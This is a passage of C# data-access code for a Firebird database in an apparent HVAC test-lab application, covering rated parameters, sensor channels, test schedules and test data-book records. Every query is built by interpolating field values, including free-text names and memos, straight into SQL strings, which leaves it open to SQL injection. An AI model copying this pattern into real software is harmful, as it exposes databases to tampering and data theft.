+ $" {RecNo}, {NoteNo}, {(int)PageNo}, {(int)Mode}, {Capacity}, {Power}, "
+ $" {EER_COP}, {Volt}, {Amp}, '{Freq}', {PM_IDU}, {PM_ODU}, {(int)Phase}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_CONDITION_RATEDPARAM set "
+ $" capacity={Capacity}, power={Power}, eer_cop={EER_COP}, volt={Volt}, "
+ $" amp={Amp}, freq='{Freq}', pm_idu={PM_IDU}, pm_odu={PM_ODU}, phase={(int)Phase} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_CONDITION_RATEDPARAM where fk_noteno={NoteNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
NoteNo = 0;
PageNo = EConditionRated.Total;
Mode = ETestMode.Cooling;
Capacity = 0;
Power = 0;
EER_COP = 0;
Volt = 0;
Amp = 0;
Freq = "";
PM_IDU = 0;
PM_ODU = 0;
Phase = EWT330Wiring.P3W4;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
NoteNo = Convert.ToInt32(row["fk_noteno"]);
PageNo = (EConditionRated)Convert.ToInt32(row["pageno"]);
Mode = (ETestMode)Convert.ToInt32(row["mode"]);
Capacity = Convert.ToSingle(row["capacity"]);
Power = Convert.ToSingle(row["power"]);
EER_COP = Convert.ToSingle(row["eer_cop"]);
Volt = Convert.ToSingle(row["volt"]);
Amp = Convert.ToSingle(row["amp"]);
Freq = Convert.ToString(row["freq"]);
PM_IDU = Convert.ToInt32(row["pm_idu"]);
PM_ODU = Convert.ToInt32(row["pm_odu"]);
Phase = (EWT330Wiring)Convert.ToInt32(row["phase"]);
}
}
public class ThermoPressParamDataSet : UlDataSet
{
public ThermoPressParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public int NoteNo { get; set; }
public int ChType { get; set; }
public int ChNo { get; set; }
public string Name { get; set; }
public void Select(int noteno, int chType)
{
SetTrans(null);
command.CommandText = " select * from TB_CONDITION_THERMOPRESSPARAM "
+ $" where fk_noteno={noteno} and chtype={chType} order by chno asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_CONDITION_THERMOPRESSPARAM values "
+ $" ({RecNo}, {NoteNo}, {ChType}, {ChNo}, '{Name}') ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_CONDITION_THERMOPRESSPARAM "
+ $" set name='{Name}' where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_CONDITION_THERMOPRESSPARAM where fk_noteno={NoteNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
NoteNo = 0;
ChType = 0;
ChNo = 0;
Name = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
NoteNo = Convert.ToInt32(row["fk_noteno"]);
ChType = Convert.ToInt32(row["chtype"]);
ChNo = Convert.ToInt32(row["chno"]);
Name = Convert.ToString(row["name"]);
}
}
public class ScheduleParamDataSet : UlDataSet
{
public ScheduleParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public int ParamNo { get; set; }
public string Standard { get; set; }
public string Name { get; set; }
public int NoOfSteady { get; set; }
public int Preparation { get; set; }
public int Judgement { get; set; }
public int Repeat { get; set; }
// Indoor 1
public EIndoorUse ID1Use { get; set; }
public EIndoorMode ID1Mode1 { get; set; }
public EIndoorDuct ID1Duct1 { get; set; }
public EIndoorMode ID1Mode2 { get; set; }
public EIndoorDuct ID1Duct2 { get; set; }
public float ID1EdbSetup { get; set; }
public float ID1EdbAvg { get; set; }
public float ID1EdbDev { get; set; }
public float ID1EwbSetup { get; set; }
public float ID1EwbAvg { get; set; }
public float ID1EwbDev { get; set; }
public float ID1Ldb1Dev { get; set; }
public float ID1Lwb1Dev { get; set; }
public float ID1Af1Dev { get; set; }
public float ID1Ldb2Dev { get; set; }
public float ID1Lwb2Dev { get; set; }
public float ID1Af2Dev { get; set; }
public float ID1Cdp1Setup { get; set; }
public float ID1Cdp1Avg { get; set; }
public float ID1Cdp1Dev { get; set; }
public float ID1Cdp2Setup { get; set; }
public float ID1Cdp2Avg { get; set; }
public float ID1Cdp2Dev { get; set; }
// Indoor 2
public EIndoorUse ID2Use { get; set; }
public EIndoorMode ID2Mode1 { get; set; }
public EIndoorDuct ID2Duct1 { get; set; }
public EIndoorMode ID2Mode2 { get; set; }
public EIndoorDuct ID2Duct2 { get; set; }
public float ID2EdbSetup { get; set; }
public float ID2EdbAvg { get; set; }
public float ID2EdbDev { get; set; }
public float ID2EwbSetup { get; set; }
public float ID2EwbAvg { get; set; }
public float ID2EwbDev { get; set; }
public float ID2Ldb1Dev { get; set; }
public float ID2Lwb1Dev { get; set; }
public float ID2Af1Dev { get; set; }
public float ID2Ldb2Dev { get; set; }
public float ID2Lwb2Dev { get; set; }
public float ID2Af2Dev { get; set; }
public float ID2Cdp1Setup { get; set; }
public float ID2Cdp1Avg { get; set; }
public float ID2Cdp1Dev { get; set; }
public float ID2Cdp2Setup { get; set; }
public float ID2Cdp2Avg { get; set; }
public float ID2Cdp2Dev { get; set; }
// Outdoor
public EOutdoorUse ODUse { get; set; }
public EEtcUse ODDp { get; set; }
public EEtcUse ODAutoVolt { get; set; }
public float ODEdbSetup { get; set; }
public float ODEdbAvg { get; set; }
public float ODEdbDev { get; set; }
public float ODEwbSetup { get; set; }
public float ODEwbAvg { get; set; }
public float ODEwbDev { get; set; }
public float ODEdpSetup { get; set; }
public float ODEdpAvg { get; set; }
public float ODEdpDev { get; set; }
public float ODVolt1Setup { get; set; }
public float ODVolt1Avg { get; set; }
public float ODVolt1Dev { get; set; }
public float ODVolt2Setup { get; set; }
public float ODVolt2Avg { get; set; }
public float ODVolt2Dev { get; set; }
public void Select(int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_SCHEDULEPARAM "
+ $" where fk_paramno={paramNo} "
+ $" order by standard, name asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void SelectOrderByRecNo(int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_SCHEDULEPARAM "
+ $" where fk_paramno={paramNo} "
+ $" order by pk_recno asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(string standard, int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_SCHEDULEPARAM "
+ $" where fk_paramno={paramNo} and standard like '{standard}%' "
+ $" order by name asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql =
$" insert into TB_SCHEDULEPARAM values ({RecNo}, {ParamNo}, "
+ $" '{Standard}', '{Name}', {NoOfSteady}, {Preparation}, {Judgement}, {Repeat}, "
+ $" {(int)ID1Use}, {(int)ID1Mode1}, {(int)ID1Duct1}, {(int)ID1Mode2}, {(int)ID1Duct2}, "
+ $" {ID1EdbSetup}, {ID1EdbAvg}, {ID1EdbDev}, {ID1EwbSetup}, {ID1EwbAvg}, {ID1EwbDev}, "
+ $" {ID1Ldb1Dev}, {ID1Lwb1Dev}, {ID1Af1Dev}, {ID1Ldb2Dev}, {ID1Lwb2Dev}, {ID1Af2Dev}, "
+ $" {ID1Cdp1Setup}, {ID1Cdp1Avg}, {ID1Cdp1Dev}, {ID1Cdp2Setup}, {ID1Cdp2Avg}, {ID1Cdp2Dev}, "
+ $" {(int)ID2Use}, {(int)ID2Mode1}, {(int)ID2Duct1}, {(int)ID2Mode2}, {(int)ID2Duct2}, "
+ $" {ID2EdbSetup}, {ID2EdbAvg}, {ID2EdbDev}, {ID2EwbSetup}, {ID2EwbAvg}, {ID2EwbDev}, "
+ $" {ID2Ldb1Dev}, {ID2Lwb1Dev}, {ID2Af1Dev}, {ID2Ldb2Dev}, {ID2Lwb2Dev}, {ID2Af2Dev}, "
+ $" {ID2Cdp1Setup}, {ID2Cdp1Avg}, {ID2Cdp1Dev}, {ID2Cdp2Setup}, {ID2Cdp2Avg}, {ID2Cdp2Dev}, "
+ $" {(int)ODUse}, {(int)ODDp}, {(int)ODAutoVolt}, {ODEdbSetup}, {ODEdbAvg}, {ODEdbDev}, "
+ $" {ODEwbSetup}, {ODEwbAvg}, {ODEwbDev}, {ODEdpSetup}, {ODEdpAvg}, {ODEdpDev}, "
+ $" {ODVolt1Setup}, {ODVolt1Avg}, {ODVolt1Dev}, {ODVolt2Setup}, {ODVolt2Avg}, {ODVolt2Dev}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_SCHEDULEPARAM set "
+ $" standard='{Standard}', name='{Name}', noofsteady={NoOfSteady}, "
+ $" preparation={Preparation}, judgement={Judgement}, repeat={Repeat}, "
+ $" id1use={(int)ID1Use}, id1mode1={(int)ID1Mode1}, id1duct1={(int)ID1Duct1}, "
+ $" id1mode2={(int)ID1Mode2}, id1duct2={(int)ID1Duct2}, "
+ $" id1edbsetup={ID1EdbSetup}, id1edbavg={ID1EdbAvg}, id1edbdev={ID1EdbDev}, "
+ $" id1ewbsetup={ID1EwbSetup}, id1ewbavg={ID1EwbAvg}, id1ewbdev={ID1EwbDev}, "
+ $" id1ldb1dev={ID1Ldb1Dev}, id1lwb1dev={ID1Lwb1Dev}, id1af1dev={ID1Af1Dev}, "
+ $" id1ldb2dev={ID1Ldb2Dev}, id1lwb2dev={ID1Lwb2Dev}, id1af2dev={ID1Af2Dev}, "
+ $" id1cdp1setup={ID1Cdp1Setup}, id1cdp1avg={ID1Cdp1Avg}, id1cdp1dev={ID1Cdp1Dev}, "
+ $" id1cdp2setup={ID1Cdp2Setup}, id1cdp2avg={ID1Cdp2Avg}, id1cdp2dev={ID1Cdp2Dev}, "
+ $" id2use={(int)ID2Use}, id2mode1={(int)ID2Mode1}, id2duct1={(int)ID2Duct1}, "
+ $" id2mode2={(int)ID2Mode2}, id2duct2={(int)ID2Duct2}, "
+ $" id2edbsetup={ID2EdbSetup}, id2edbavg={ID2EdbAvg}, id2edbdev={ID2EdbDev}, "
+ $" id2ewbsetup={ID2EwbSetup}, id2ewbavg={ID2EwbAvg}, id2ewbdev={ID2EwbDev}, "
+ $" id2ldb1dev={ID2Ldb1Dev}, id2lwb1dev={ID2Lwb1Dev}, id2af1dev={ID2Af1Dev}, "
+ $" id2ldb2dev={ID2Ldb2Dev}, id2lwb2dev={ID2Lwb2Dev}, id2af2dev={ID2Af2Dev}, "
+ $" id2cdp1setup={ID2Cdp1Setup}, id2cdp1avg={ID2Cdp1Avg}, id2cdp1dev={ID2Cdp1Dev}, "
+ $" id2cdp2setup={ID2Cdp2Setup}, id2cdp2avg={ID2Cdp2Avg}, id2cdp2dev={ID2Cdp2Dev}, "
+ $" oduse={(int)ODUse}, oddp={(int)ODDp}, odautovolt={(int)ODAutoVolt}, "
+ $" odedbsetup={ODEdbSetup}, odedbavg={ODEdbAvg}, odedbdev={ODEdbDev}, "
+ $" odewbsetup={ODEwbSetup}, odewbavg={ODEwbAvg}, odewbdev={ODEwbDev}, "
+ $" odedpsetup={ODEdpSetup}, odedpavg={ODEdpAvg}, odedpdev={ODEdpDev}, "
+ $" odvolt1setup={ODVolt1Setup}, odvolt1avg={ODVolt1Avg}, odvolt1dev={ODVolt1Dev}, "
+ $" odvolt2setup={ODVolt2Setup}, odvolt2avg={ODVolt2Avg}, odvolt2dev={ODVolt2Dev} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $"delete from TB_SCHEDULEPARAM where pk_recno={RecNo}";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(int paramNo, FbTransaction trans = null)
{
string sql = $" delete from TB_SCHEDULEPARAM where fk_paramno={paramNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
ParamNo = 0;
Standard = "";
Name = "";
NoOfSteady = 0;
Preparation = 0;
Judgement = 0;
Repeat = 0;
ID1Use = EIndoorUse.NotUsed;
ID1Mode1 = EIndoorMode.NotUsed;
ID1Duct1 = EIndoorDuct.NotUsed;
ID1Mode2 = EIndoorMode.NotUsed;
ID1Duct2 = EIndoorDuct.NotUsed;
ID1EdbSetup = 0;
ID1EdbAvg = 0;
ID1EdbDev = 0;
ID1EwbSetup = 0;
ID1EwbAvg = 0;
ID1EwbDev = 0;
ID1Ldb1Dev = 0;
ID1Lwb1Dev = 0;
ID1Af1Dev = 0;
ID1Ldb2Dev = 0;
ID1Lwb2Dev = 0;
ID1Af2Dev = 0;
ID1Cdp1Setup = 0;
ID1Cdp1Avg = 0;
ID1Cdp1Dev = 0;
ID1Cdp2Setup = 0;
ID1Cdp2Avg = 0;
ID1Cdp2Dev = 0;
ID2Use = EIndoorUse.NotUsed;
ID2Mode1 = EIndoorMode.NotUsed;
ID2Duct1 = EIndoorDuct.NotUsed;
ID2Mode2 = EIndoorMode.NotUsed;
ID2Duct2 = EIndoorDuct.NotUsed;
ID2EdbSetup = 0;
ID2EdbAvg = 0;
ID2EdbDev = 0;
ID2EwbSetup = 0;
ID2EwbAvg = 0;
ID2EwbDev = 0;
ID2Ldb1Dev = 0;
ID2Lwb1Dev = 0;
ID2Af1Dev = 0;
ID2Ldb2Dev = 0;
ID2Lwb2Dev = 0;
ID2Af2Dev = 0;
ID2Cdp1Setup = 0;
ID2Cdp1Avg = 0;
ID2Cdp1Dev = 0;
ID2Cdp2Setup = 0;
ID2Cdp2Avg = 0;
ID2Cdp2Dev = 0;
ODUse = EOutdoorUse.NotUsed;
ODDp = EEtcUse.NotUsed;
ODAutoVolt = EEtcUse.NotUsed;
ODEdbSetup = 0;
ODEdbAvg = 0;
ODEdbDev = 0;
ODEwbSetup = 0;
ODEwbAvg = 0;
ODEwbDev = 0;
ODEdpSetup = 0;
ODEdpAvg = 0;
ODEdpDev = 0;
ODVolt1Setup = 0;
ODVolt1Avg = 0;
ODVolt1Dev = 0;
ODVolt2Setup = 0;
ODVolt2Avg = 0;
ODVolt2Dev = 0;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
ParamNo = Convert.ToInt32(row["fk_paramno"]);
Standard = Convert.ToString(row["standard"]);
Name = Convert.ToString(row["name"]);
NoOfSteady = Convert.ToInt32(row["noofsteady"]);
Preparation = Convert.ToInt32(row["preparation"]);
Judgement = Convert.ToInt32(row["judgement"]);
Repeat = Convert.ToInt32(row["repeat"]);
ID1Use = (EIndoorUse)Convert.ToInt32(row["id1use"]);
ID1Mode1 = (EIndoorMode)Convert.ToInt32(row["id1mode1"]);
ID1Duct1 = (EIndoorDuct)Convert.ToInt32(row["id1duct1"]);
ID1Mode2 = (EIndoorMode)Convert.ToInt32(row["id1mode2"]);
ID1Duct2 = (EIndoorDuct)Convert.ToInt32(row["id1duct2"]);
ID1EdbSetup = Convert.ToSingle(row["id1edbsetup"]);
ID1EdbAvg = Convert.ToSingle(row["id1edbavg"]);
ID1EdbDev = Convert.ToSingle(row["id1edbdev"]);
ID1EwbSetup = Convert.ToSingle(row["id1ewbsetup"]);
ID1EwbAvg = Convert.ToSingle(row["id1ewbavg"]);
ID1EwbDev = Convert.ToSingle(row["id1ewbdev"]);
ID1Ldb1Dev = Convert.ToSingle(row["id1ldb1dev"]);
ID1Lwb1Dev = Convert.ToSingle(row["id1lwb1dev"]);
ID1Af1Dev = Convert.ToSingle(row["id1af1dev"]);
ID1Ldb2Dev = Convert.ToSingle(row["id1ldb2dev"]);
ID1Lwb2Dev = Convert.ToSingle(row["id1lwb2dev"]);
ID1Af2Dev = Convert.ToSingle(row["id1af2dev"]);
ID1Cdp1Setup = Convert.ToSingle(row["id1cdp1setup"]);
ID1Cdp1Avg = Convert.ToSingle(row["id1cdp1avg"]);
ID1Cdp1Dev = Convert.ToSingle(row["id1cdp1dev"]);
ID1Cdp2Setup = Convert.ToSingle(row["id1cdp2setup"]);
ID1Cdp2Avg = Convert.ToSingle(row["id1cdp2avg"]);
ID1Cdp2Dev = Convert.ToSingle(row["id1cdp2dev"]);
ID2Use = (EIndoorUse)Convert.ToInt32(row["id2use"]);
ID2Mode1 = (EIndoorMode)Convert.ToInt32(row["id2mode1"]);
ID2Duct1 = (EIndoorDuct)Convert.ToInt32(row["id2duct1"]);
ID2Mode2 = (EIndoorMode)Convert.ToInt32(row["id2mode2"]);
ID2Duct2 = (EIndoorDuct)Convert.ToInt32(row["id2duct2"]);
ID2EdbSetup = Convert.ToSingle(row["id2edbsetup"]);
ID2EdbAvg = Convert.ToSingle(row["id2edbavg"]);
ID2EdbDev = Convert.ToSingle(row["id2edbdev"]);
ID2EwbSetup = Convert.ToSingle(row["id2ewbsetup"]);
ID2EwbAvg = Convert.ToSingle(row["id2ewbavg"]);
ID2EwbDev = Convert.ToSingle(row["id2ewbdev"]);
ID2Ldb1Dev = Convert.ToSingle(row["id2ldb1dev"]);
ID2Lwb1Dev = Convert.ToSingle(row["id2lwb1dev"]);
ID2Af1Dev = Convert.ToSingle(row["id2af1dev"]);
ID2Ldb2Dev = Convert.ToSingle(row["id2ldb2dev"]);
ID2Lwb2Dev = Convert.ToSingle(row["id2lwb2dev"]);
ID2Af2Dev = Convert.ToSingle(row["id2af2dev"]);
ID2Cdp1Setup = Convert.ToSingle(row["id2cdp1setup"]);
ID2Cdp1Avg = Convert.ToSingle(row["id2cdp1avg"]);
ID2Cdp1Dev = Convert.ToSingle(row["id2cdp1dev"]);
ID2Cdp2Setup = Convert.ToSingle(row["id2cdp2setup"]);
ID2Cdp2Avg = Convert.ToSingle(row["id2cdp2avg"]);
ID2Cdp2Dev = Convert.ToSingle(row["id2cdp2dev"]);
ODUse = (EOutdoorUse)Convert.ToInt32(row["oduse"]);
ODDp = (EEtcUse)Convert.ToInt32(row["oddp"]);
ODAutoVolt = (EEtcUse)Convert.ToInt32(row["odautovolt"]);
ODEdbSetup = Convert.ToSingle(row["odedbsetup"]);
ODEdbAvg = Convert.ToSingle(row["odedbavg"]);
ODEdbDev = Convert.ToSingle(row["odedbdev"]);
ODEwbSetup = Convert.ToSingle(row["odewbsetup"]);
ODEwbAvg = Convert.ToSingle(row["odewbavg"]);
ODEwbDev = Convert.ToSingle(row["odewbdev"]);
ODEdpSetup = Convert.ToSingle(row["odedpsetup"]);
ODEdpAvg = Convert.ToSingle(row["odedpavg"]);
ODEdpDev = Convert.ToSingle(row["odedpdev"]);
ODVolt1Setup = Convert.ToSingle(row["odvolt1setup"]);
ODVolt1Avg = Convert.ToSingle(row["odvolt1avg"]);
ODVolt1Dev = Convert.ToSingle(row["odvolt1dev"]);
ODVolt2Setup = Convert.ToSingle(row["odvolt2setup"]);
ODVolt2Avg = Convert.ToSingle(row["odvolt2avg"]);
ODVolt2Dev = Convert.ToSingle(row["odvolt2dev"]);
}
}
public class DataBookDataSet : UlDataSet
{
public DataBookDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
Condition = new DataBookCondition();
}
public Int64 RecNo { get; set; }
public int UserNo { get; set; }
public string BeginTime { get; set; }
public string EndTime { get; set; }
public string ElapsedTime { get; set; }
public int TestLine { get; set; }
public int IntegCount { get; set; }
public int IntegTime { get; set; }
public int ScanTime { get; set; }
public string Company { get; set; }
public string TestName { get; set; }
public string TestNo { get; set; }
public string Observer { get; set; }
public string Maker { get; set; }
public string Model1 { get; set; }
public string Serial1 { get; set; }
public string Model2 { get; set; }
public string Serial2 { get; set; }
public string Model3 { get; set; }
public string Serial3 { get; set; }
public string ExpDevice { get; set; }
public string Refrige { get; set; }
public string RefCharge { get; set; }
public string Capacity { get; set; }
public string PowerInput { get; set; }
public string EER_COP { get; set; }
public string PowerSource { get; set; }
public string TotalCapacity { get; set; }
public string TotalPower { get; set; }
public string TotalEER_COP { get; set; }
public string Memo { get; set; }
public ETestState State { get; set; }
public DataBookCondition Condition { get; private set; }
public void Select()
{
string sql
= " select t1.*, t2.name as username from TB_DATABOOK t1 "
+ " join TB_USER t2 on t2.pk_recno=t1.fk_userno "
+ " where t1.pk_recno>=0 ";
if (Condition.TimeUsed == true)
{
if (Condition.FromTime.ToString("yyyy-MM-dd") == Condition.ToTime.ToString("yyyy-MM-dd"))
{
sql += $" and t1.begintime like '{Condition.FromTime.ToString("yyyy-MM-dd")}%%' ";
}
else
{
sql += $" and (t1.begintime>='{Condition.FromTime.ToString("yyyy-MM-dd")} 00:00:00' ";
sql += $" and t1.begintime<='{Condition.ToTime.ToString("yyyy-MM-dd")} 23:59:59') ";
}
}
if (Condition.Line > 0)
{
sql += $" and t1.testline={Condition.Line - 1} ";
}
if (Condition.State > 0)
{
ETestState state = (Condition.State == 1) ? ETestState.Done : ETestState.Stopped;
sql += $" and t1.state={(int)state} ";
}
else
{
sql += $" and t1.state<>0 ";
}
SetTrans(null);
command.CommandText = sql;
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(Int64 recNo)
{
string sql
= " select t1.*, t2.name as username from TB_DATABOOK t1 "
+ " join TB_USER t2 on t2.pk_recno=t1.fk_userno "
+ $" where t1.pk_recno={recNo} ";
SetTrans(null);
command.CommandText = sql;
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_DATABOOK values ({RecNo}, {UserNo}, '{BeginTime}', '{EndTime}', '{ElapsedTime}', {TestLine}, "
+ $" {IntegCount}, {IntegTime}, {ScanTime}, '{Company}', '{TestName}', '{TestNo}', '{Observer}', '{Maker}', '{Model1}', "
+ $" '{Serial1}', '{Model2}', '{Serial2}', '{Model3}', '{Serial3}', '{ExpDevice}', '{Refrige}', '{RefCharge}', '{Capacity}', "
+ $" '{PowerInput}', '{EER_COP}', '{PowerSource}', '{TotalCapacity}', '{TotalPower}', '{TotalEER_COP}', '{Memo}', {(int)State}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
//public void Update(FbTransaction trans = null)
//{
// string sql = $" update TB_DATABOOK set "
// + $" fk_userno={UserNo}, begintime='{BeginTime}', endtime='{EndTime}', testline={TestLine}, "
// + $" integcount={IntegCount}, integtime={IntegTime}, scantime={ScanTime}, company='{Company}', "
// + $" testname='{TestName}', testno='{TestNo}', observer='{Observer}', maker='{Maker}', "
// + $" model1='{Model1}', serial1='{Serial1}', model2='{Model2}', serial2='{Serial2}', "
// + $" model3='{Model3}', serial3='{Serial3}', expdevice='{ExpDevice}', refrige='{Refrige}', "
// + $" refcharge='{RefCharge}', capacity='{Capacity}', powerinput='{PowerInput}', "
// + $" eer_cop='{EER_COP}', powersource='{PowerSource}', state={(int)State} "
// + $" where pk_recno={RecNo} ";
// SetTrans(trans);
// try
// {
// BeginTrans(trans);
// command.CommandText = sql;
// command.ExecuteNonQuery();
// CommitTrans(trans);
// }
// catch (Exception e)
// {
// Resource.TLog.Log((int)ELogItem.Error, sql);
// Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
// RollbackTrans(trans, e);
// }
//}
public void Update(FbTransaction trans = null)
{
string sql
= $" update TB_DATABOOK set endtime='{EndTime}', elapsedtime='{ElapsedTime}', totalcapacity='{TotalCapacity}', "
+ $" totalpower='{TotalPower}', totaleer_cop='{TotalEER_COP}', state={(int)State} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(ETestState state, FbTransaction trans = null)
{
string sql
= $" update TB_DATABOOK set state={(int)state} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_DATABOOK where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
UserNo = 0;
BeginTime = "";
EndTime = "";
TestLine = 0;
IntegCount = 0;
IntegTime = 0;
ScanTime = 0;
Company = "";
TestName = "";
TestNo = "";
Observer = "";
Maker = "";
Model1 = "";
Serial1 = "";
Model2 = "";
Serial2 = "";
Model3 = "";
Serial3 = "";
ExpDevice = "";
Refrige = "";
RefCharge = "";
Capacity = "";
PowerInput = "";
EER_COP = "";
PowerSource = "";
State = ETestState.Testing;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt64(row["pk_recno"]);
UserNo = Convert.ToInt32(row["fk_userno"]);
BeginTime = Convert.ToString(row["begintime"]);
EndTime = Convert.ToString(row["endtime"]);
TestLine = Convert.ToInt32(row["testline"]);
IntegCount = Convert.ToInt32(row["integcount"]);
IntegTime = Convert.ToInt32(row["integtime"]);
ScanTime = Convert.ToInt32(row["scantime"]);
Company = Convert.ToString(row["company"]);
TestName = Convert.ToString(row["testname"]);
TestNo = Convert.ToString(row["testno"]);
Observer = Convert.ToString(row["observer"]);
Maker = Convert.ToString(row["maker"]);
Model1 = Convert.ToString(row["model1"]);
Serial1 = Convert.ToString(row["serial1"]);
Model2 = Convert.ToString(row["model2"]);
Serial2 = Convert.ToString(row["serial2"]);
Model3 = Convert.ToString(row["model3"]);
Serial3 = Convert.ToString(row["serial3"]);
ExpDevice = Convert.ToString(row["expdevice"]);
Refrige = Convert.ToString(row["refrige"]);
RefCharge = Convert.ToString(row["refcharge"]);
Capacity = Convert.ToString(row["capacity"]);
PowerInput = Convert.ToString(row["powerinput"]);
EER_COP = Convert.ToString(row["eer_cop"]);
